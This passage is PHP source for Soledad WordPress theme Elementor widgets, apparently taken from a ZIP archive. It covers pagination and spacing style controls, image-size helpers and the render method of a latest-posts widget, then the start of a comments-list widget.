		$this->add_control( 'bg_color_sfeatured', array(
			'label'     => __( 'Background Color for Featured Boxed Style', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-featured' => 'background-color: {{VALUE}};' ),
			'condition' => array( 'penci_style' => $style_extra_post ),
		) );

		$this->end_controls_section();

		// Pagination
		$this->start_controls_section( 'section_pagination_style', array(
			'label' => __( 'Pagination', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pagination_typography',
			'selector' => '{{WRAPPER}} .penci-pagination ul.page-numbers li a i, {{WRAPPER}} .penci-pagination ul.page-numbers li span,{{WRAPPER}} .penci-pagination ul.page-numbers li a, {{WRAPPER}}  .penci-pagination.penci-ajax-more a.penci-ajax-more-button'
		) );
		$this->add_responsive_control( 'pagination_icon', array(
			'label'     => __( 'Font size for Load More Icon', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-pagination a.penci-ajax-more-button i, {{WRAPPER}}  .penci-pagination .disable-url i' => 'font-size: {{SIZE}}px' ),
			'condition' => array( 'penci_paging' => array( 'loadmore', 'scroll' ) ),
		) );
		$this->add_control( 'pagination_color_heading', array(
			'label'     => __( 'Colors', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before'
		) );

		$this->start_controls_tabs( 'pagination_colors' );

		$this->start_controls_tab( 'pagination_color_normal', array(
			'label' => __( 'Normal', 'soledad' )
		) );

		$this->add_control( 'pagination_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span,'                 => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a'                     => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'color: {{VALUE}};'
			)
		) );
		$this->add_control( 'pagination_bordercolor', array(
			'label'     => __( 'Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span,'                 => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a'                     => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'border-color: {{VALUE}};'
			)
		) );
		$this->add_control( 'pagination_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span,'                 => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a'                     => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'background-color: {{VALUE}};'
			)
		) );

		$this->end_controls_tab();

		$this->start_controls_tab( 'pagination_color_hover', array(
			'label' => __( 'Hover', 'soledad' )
		) );

		$this->add_control( 'pagination_hover_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}}  .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover' => 'color: {{VALUE}}',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'                      => 'color: {{VALUE}}',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current'                 => 'color: {{VALUE}}'
			)
		) );
		$this->add_control( 'pagination_hbordercolor', array(
			'label'     => __( 'Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}}  .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover' => 'border-color: {{VALUE}}',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'                      => 'border-color: {{VALUE}}',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current'                 => 'border-color: {{VALUE}}'
			)
		) );
		$this->add_control( 'pagination_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover' => 'background-color: {{VALUE}}',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'                     => 'background-color: {{VALUE}}',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current'                => 'background-color: {{VALUE}}'
			)
		) );

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->add_responsive_control( 'pagination_spacing', array(
			'label'     => __( 'Space Between', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination' => 'margin-top: {{SIZE}}{{UNIT}}'
			)
		) );

		$this->end_controls_section();
		$this->register_block_heading_link_section_style();
		$this->register_block_title_style_section_controls();

		// spacing settings
		$this->start_controls_section( 'section_control_spacing', array(
			'label' => __( 'Elements Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_responsive_control( 'spacing_thumbnail_big', array(
			'label'       => __( 'Thumbnail Spacing for Big Post Items', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .grid-featured .standard-post-image, {{WRAPPER}} .grid-mixed .thumbnail, {{WRAPPER}} article.standard-article .standard-post-image, {{WRAPPER}} .grid-overlay .thumbnail' => 'margin-bottom: {{SIZE}}px;',
			),
			'label_block' => true,
			'condition'   => array(
				'penci_style' => array(
					'mixed',
					'mixed-2',
					'mixed-4',
					'standard-grid',
					'standard-list',
					'standard-grid-2',
					'standard-boxed',
					'classic-grid',
					'classic-list',
					'classic-grid-2',
					'classic-boxed',
					'overlay-grid',
					'overlay-list',
					'overlay-grid-2',
					'overlay-boxed'
				)
			),
		) );
		$this->add_responsive_control( 'spacing_thumbnail', array(
			'label'     => __( 'Thumbnail Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .standard-post-image, {{WRAPPER}} .penci-grid li .item > .thumbnail, {{WRAPPER}} .penci-masonry .item-masonry > .thumbnai' => 'margin-bottom: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'spacing_categories', array(
			'label'     => __( 'Categories Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-featured-infor .cat, {{WRAPPER}} .overlay-header-box .cat, {{WRAPPER}} .penci-standard-cat, {{WRAPPER}} .penci-grid li .item .cat, {{WRAPPER}} .penci-masonry .item-masonry .cat' => 'margin-bottom: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'spacing_title', array(
			'label'     => __( 'Title Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-entry-title' => 'margin-bottom: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'spacing_meta', array(
			'label'     => __( 'Meta Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .overlay-header-box .overlay-author, {{WRAPPER}} .grid-post-box-meta, {{WRAPPER}} .header-standard .author-post' => 'margin-top: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'meta_group_spacing', array(
			'label'     => __( 'Header Group Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-overlay-over .overlay-header-box, {{WRAPPER}} .grid-header-box' => 'padding-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .header-standard'                                                      => 'padding-bottom: {{SIZE}}{{UNIT}};margin-bottom: {{SIZE}}{{UNIT}}',
			)
		) );
		$this->add_responsive_control( 'item_content_spacing', array(
			'label'     => __( 'Post Excerpt/Content Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .post-entry.standard-post-entry, {{WRAPPER}} .penci-grid li .item .item-content, {{WRAPPER}} .penci-masonry .item-masonry .item-content, {{WRAPPER}} .penci-grid .mixed-detail .item-content' => 'margin-top: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'btn_readmore_spacing', array(
			'label'      => __( 'Read More Spacing', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'separator'  => 'before',
			'range'      => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-more-link a.more-link, {{WRAPPER}} .penci-readmore-btn, {{WRAPPER}} .penci-featured-cat-seemore' => 'margin-top: {{SIZE}}{{UNIT}}'
			),
			'conditions' => [
				'relation' => 'OR',
				'terms'    => [
					[
						'name'     => 'grid_add_readmore',
						'operator' => '!=',
						'value'    => ''
					],
					[
						'name'     => 'penci_style',
						'operator' => 'in',
						'value'    => array_merge( [ 'standard', 'classic', 'featured' ], $style_big_post )
					],
				]
			]
		) );
		$this->add_responsive_control( 'item_boxmeta_spacing', array(
			'label'     => __( 'Share Box Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-post-box-meta.penci-post-box-grid, {{WRAPPER}} .penci-post-box-meta' => 'margin-top: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->end_controls_section();

		// bigpost spacing settings
		$this->start_controls_section( 'section_control_bpostspacing', array(
			'label'     => __( 'Elements Spacing for Big Post', 'soledad' ),
			'tab'       => Controls_Manager::TAB_CONTENT,
			'condition' => [
				'penci_style' => [
					'mixed',
					'mixed-2',
					'mixed-larger',
					'mixed-3',
					'mixed-4',
					'standard-grid',
					'standard-grid-2',
					'standard-list',
					'standard-boxed-1',
					'classic-grid',
					'classic-grid-2',
					'classic-list',
					'classic-boxed-1',
					'overlay-grid',
					'overlay-grid-2',
					'overlay-list',
					'overlay-boxed-1',
				]
			]
		) );
		$this->add_responsive_control( 'bspacing_thumbnail', array(
			'label'     => __( 'Thumbnail Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-el-mixed-s1 .standard-post-image' => 'margin-bottom: {{SIZE}}{{UNIT}}',
			)
		) );
		$this->add_responsive_control( 'bspacing_categories', array(
			'label'     => __( 'Categories Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-el-mixed-s1 .penci-standard-cat'      => 'margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .overlay-header-box .cat' => 'margin-bottom: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'bspacing_title', array(
			'label'     => __( 'Title Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-el-mixed-s1 .standard-pitem .penci-entry-title' => 'margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .classic-pitem .penci-entry-title'  => 'margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .overlay-layout .penci-entry-title' => 'margin-bottom: {{SIZE}}{{UNIT}}',
			)
		) );
		$this->add_responsive_control( 'bspacing_meta', array(
			'label'     => __( 'Meta Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-el-mixed-s1 .standard-pitem .header-standard .author-post'         => 'margin-top: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .classic-pitem .header-standard .author-post'          => 'margin-top: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .penci-overlay-over .penci-meta-author.overlay-author' => 'margin-top: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'bmeta_group_spacing', array(
			'label'     => __( 'Header Group Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-el-mixed-s1 .standard-pitem .header-standard'        => 'padding-bottom: {{SIZE}}{{UNIT}};margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .classic-pitem .header-standard'         => 'padding-bottom: {{SIZE}}{{UNIT}};margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .penci-overlay-over .overlay-header-box' => 'padding-bottom: {{SIZE}}{{UNIT}};margin-bottom: {{SIZE}}{{UNIT}}',
			)
		) );
		$this->add_responsive_control( 'bitem_content_spacing', array(
			'label'     => __( 'Post Excerpt/Content Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-grid li .item .item-content, {{WRAPPER}} .penci-masonry .item-masonry .item-content, {{WRAPPER}} .penci-grid .mixed-detail .item-content' => 'margin-top: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'bitem_boxmeta_spacing', array(
			'label'     => __( 'Share Box Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-el-mixed-s1 .standard-pitem .penci-post-box-meta' => 'margin-top: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-el-mixed-s1 .classic-pitem .penci-post-box-meta'  => 'margin-top: {{SIZE}}{{UNIT}}'
			)
		) );
		$this->add_responsive_control( 'bitem_btn_readmore_spacing', array(
			'label'     => __( 'Read More Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-el-mixed-s1 .standard-pitem .penci-more-link a.more-link,{{WRAPPER}} .penci-el-mixed-s1 .classic-pitem .penci-more-link a.more-link' => 'margin-top: {{SIZE}}{{UNIT}}'
			),
		) );
		$this->end_controls_section();
		$this->register_penci_bookmark_style_groups();
		$this->register_paywall_premium_heading_style_groups();
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings         = $this->get_settings();
		$original_postype = $settings['posts_post_type'];
		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}

		$query_args = Query_Control::get_query_args( 'posts', $settings );

		if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
			$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			$ppp    = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
			$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			$offset = 0;
			if ( $ppp ) {
				$query_args['posts_per_page'] = $ppp;
			}

			if ( $settings['arposts_new'] == 'yes' ) {
				$query_args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$query_args['offset'] = $offset;
			}
		}

		$ads_code = '';
		if ( $settings['infeedads_code'] ) {
			$ads_code = base64_encode( rawurlencode( $settings['infeedads_code'] ) );
		}
		$order_columns        = isset( $settings['order_columns'] ) ? $settings['order_columns'] : '';
		$order_columns_tablet = isset( $settings['order_columns_tablet'] ) ? $settings['order_columns_tablet'] : $order_columns;
		$order_columns_mobile = isset( $settings['order_columns_mobile'] ) ? $settings['order_columns_mobile'] : $order_columns;

		echo \Soledad_VC_Shortcodes::latest_posts( array(
			'heading'             => $settings['heading'],
			'hide_block_heading'  => $settings['hide_block_heading'],
			'heading_title_style' => $settings['heading_title_style'],
			'heading_title_html_tag' => $settings['heading_title_html_tag'],
			'heading_title_link'  => $settings['heading_title_link'],
			'heading_title_align' => $settings['block_title_align'],
			'heading_icon_pos'    => $settings['heading_icon_pos'],
			'heading_icon'        => $settings['heading_icon'],
			'style'               => $settings['penci_style'],
			'paging'              => $settings['penci_paging'],
			'penci_mixed_style'   => $settings['penci_mixed_style'],
			'morenum'             => $settings['morenum'],
			'penci_boxed_dcol'    => $settings['penci_boxed_dcol'],
			'penci_boxed_mcol'    => $settings['penci_boxed_mcol'],
			'penci_boxed_tcol'    => $settings['penci_boxed_tcol'],

			'standard_meta_overlay'      => $settings['standard_meta_overlay'],
			'standard_thumbnail'         => $settings['standard_thumbnail'],
			'std_dis_at_gallery'         => $settings['std_dis_at_gallery'],
			'standard_thumb_crop'        => $settings['standard_thumb_crop'],
			'standard_share_box'         => $settings['standard_share_box'],
			'standard_cat'               => $settings['standard_cat'],
			'standard_cat_move'          => $settings['standard_cat_move'],
			'standard_author'            => $settings['standard_author'],
			'standard_date'              => $settings['standard_date'],
			'standard_comment'           => $settings['standard_comment'],
			'standard_viewscount'        => $settings['standard_viewscount'],
			'standard_readtime'          => $settings['standard_readtime'],
			'standard_remove_line'       => $settings['standard_remove_line'],
			'standard_auto_excerpt'      => $settings['standard_auto_excerpt'],
			'standard_remove_excerpt'    => $settings['standard_remove_excerpt'],
			'standard_effect_button'     => $settings['standard_effect_button'],
			'std_continue_btn'           => $settings['std_continue_btn'],
			'grid_icon_format'           => $settings['grid_icon_format'],
			'grid_meta_overlay'          => $settings['grid_meta_overlay'],
			'grid_nocrop_list'           => $settings['grid_nocrop_list'],
			'grid_share_box'             => $settings['grid_share_box'],
			'grid_cat'                   => $settings['grid_cat'],
			'grid_cat_move'              => $settings['grid_cat_move'],
			'grid_author'                => $settings['grid_author'],
			'grid_date'                  => $settings['grid_date'],
			'grid_comment'               => $settings['grid_comment'],
			'grid_comment_other'         => $settings['grid_comment_other'],
			'grid_viewscount'            => $settings['grid_viewscount'],
			'grid_readtime'              => $settings['grid_readtime'],
			'grid_remove_line'           => $settings['grid_remove_line'],
			'grid_remove_excerpt'        => $settings['grid_remove_excerpt'],
			'grid_add_readmore'          => $settings['grid_add_readmore'],
			'grid_remove_arrow'          => $settings['grid_remove_arrow'],
			'grid_readmore_button'       => $settings['grid_readmore_button'],
			'grid_readmore_align'        => $settings['grid_readmore_align'],
			'grid_excerpt_length'        => $settings['grid_excerpt_length'],
			'grid_title_tag'        	 => $settings['grid_title_tag'],
			'standard_title_tag'         => $settings['standard_title_tag'],
			'standard_excerpt_length'    => $settings['standard_excerpt_length'],
			'post_alignment'             => $settings['post_alignment'],
			'std_continue_align'         => $settings['std_continue_align'],
			'std_excerpt_align'          => $settings['std_excerpt_align'],
			'share_alignment'            => $settings['share_alignment'],
			'grid_excerpt_align'         => $settings['grid_excerpt_align'],
			'standard_title_length'      => $settings['standard_title_length'],
			'grid_title_length'          => $settings['grid_title_length'],
			'penci_featimg_size'         => isset( $settings['penci_featimg_size'] ) ? $settings['penci_featimg_size'] : '',
			'penci_featimg_ratio'        => isset( $settings['penci_featimg_ratio'] ) ? $settings['penci_featimg_ratio'] : '',
			'thumb_size'                 => $settings['thumb_size'],
			'thumb_bigsize'              => $settings['thumb_bigsize'],
			'order_columns'              => $order_columns,
			'order_columns_tablet'       => $order_columns_tablet,
			'order_columns_mobile'       => $order_columns_mobile,
			'infeed_num'                 => $settings['infeedads_num'],
			'infeed_code'                => $ads_code,
			'infeed_layout'              => $settings['infeedads_layout'],
			'archive_buider_check'       => $original_postype,
			'elementor_query'            => $query_args,
			'biggrid_ajaxfilter_cat'     => $settings['biggrid_ajaxfilter_cat'],
			'biggrid_ajaxfilter_tag'     => $settings['biggrid_ajaxfilter_tag'],
			'biggrid_ajaxfilter_author'  => $settings['biggrid_ajaxfilter_author'],
			'group_more_link_text'       => $settings['group_more_link_text'],
			'group_more_defaultab_text'  => $settings['group_more_defaultab_text'],
			'biggrid_ajax_loading_style' => $settings['biggrid_ajax_loading_style'],
			'query_id'                   => isset( $settings['query_id'] ) ? $settings['query_id'] : 'all',
			'validator'                  => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
			'keys'                       => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
			'acf'                        => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
			'label'                      => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
			'divider'                    => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
			'wrapper_css'                => isset( $settings['paywall_heading_text_style'] ) ? ' pencipw-hd-' . $settings['paywall_heading_text_style'] : '',

		) );
	}
}
PK     N\zj  j  4  inc/elementor/modules/penci-comments-list/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCommentsList;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-comments-list';
	}

	public function get_widgets() {
		return array( 'PenciCommentsList' );
	}
}
PK     N\L    I  inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciCommentsList\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciCommentsList extends Base_Widget {

	public function get_name() {
		return 'penci-comments-list';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Comments Listing', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-comments';
	}

	public function get_categories() {
		return array( 'penci-elements' );
	}

	public function get_keywords() {
		return array( 'category' );
	}

	protected function register_controls() {

		// Section layout
		$this->start_controls_section(
			'section_settings',
			array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'number',
			array(
				'label'   => __( 'Number of Comments to Show:', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 5,
			)
		);

		$this->add_control(
			'length_words',
			array(
				'label'   => __( 'Custom Comment Content Words Length:', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 12,
			)
		);

		$this->add_control(
			'avatar_size',
			array(
				'label'   => __( 'Avatar Size:', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 70,
			)
		);

		$this->add_control(
			'avatar_bradius',
			array(
				'label'      => __( 'Avatar Border Radius:', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => array( '%' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci_comments_widget.el .author-avatar img' => 'border-radius: {{SIZE}}%;',
				),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section(
			'section_style_image',
			array(
				'label' => __( 'Color & Style', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_responsive_control(
			'comment_spacing',
			array(
				'label'          => __( 'Spacing Between Comments', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'size_units'     => array( 'px' ),
				'range'          => array(
					'px' => array( 'max' => 200 ),
				),
				'default'        => array(
					'size' => '15',
					'unit' => 'px',
				),
				'tablet_default' => array(
					'unit' => 'px',
				),
				'mobile_default' => array(
					'unit' => 'px',
				),
				'selectors'      => array(
					'{{WRAPPER}} .penci_comments_widget.el ul li:not(:last-child)' => 'margin-bottom: calc({{SIZE}}px / 2);padding-bottom: calc({{SIZE}}px / 2);',
				),
			)
		);

		$this->add_control(
			'author_bcolor',
			array(
				'label'     => __( 'Divider Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci_comments_widget.el ul li:not(:last-child)' => 'border-bottom:1px solid {{VALUE}};',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'author_name_typo',
				'label'    => __( 'Author Name Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci_comments_widget.el .comment-author',
			)
		);

		$this->add_control(
			'name_color',
			array(
				'label'     => __( 'Name Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci_comments_widget.el .comment-author' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'name_hcolor',
			array(
				'label'     => __( 'Name Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci_comments_widget.el .comment-author:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'comment_text_typo',
				'label'    => __( 'Comment Text Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci_comments_widget.el .comment-body p',
			)
		);

		$this->add_control(
			'comment_text_color',
			array(
				'label'     => __( 'Comment Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci_comments_widget.el .comment-body p' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'comment_text_lcolor',
			array(
				'label'     => __( 'Comment Text Links Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci_comments_widget.el .comment-body p a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'comment_text_lhcolor',
			array(
				'label'     => __( 'Comment Text Links Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci_comments_widget.el .comment-body p a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();
	}

	protected function render() {
		$settings    = $this->get_settings();
		$comments    = get_comments( 'status=approve&number=' . $settings['number'] );
		$avatar_size = $settings['avatar_size'] ? $settings['avatar_size'] : 70;
		$length      = $settings['length_words'] ? $settings['length_words'] : 12;
		$this->markup_block_title( $settings, $this );
		if ( $comments ) {
			echo '<div class="penci_comments_widget el"><ul>';
			foreach ( $comments as $comment ) { ?>
				<li>
					<?php

					$no_thumb = 'no-small-thumbs';

					// Show the avatar if it is active only
					if ( get_option( 'show_avatars' ) ) {
						if ( isset( $comment->comment_author_email ) && $comment->comment_author_email ) {
							$usergravatar = get_avatar( $comment->comment_author_email );
						} else {
							$usergravatar = get_avatar( $comment->user_id );
						}
						$no_thumb = '';
						?>
						<div class="post-widget-thumbnail"
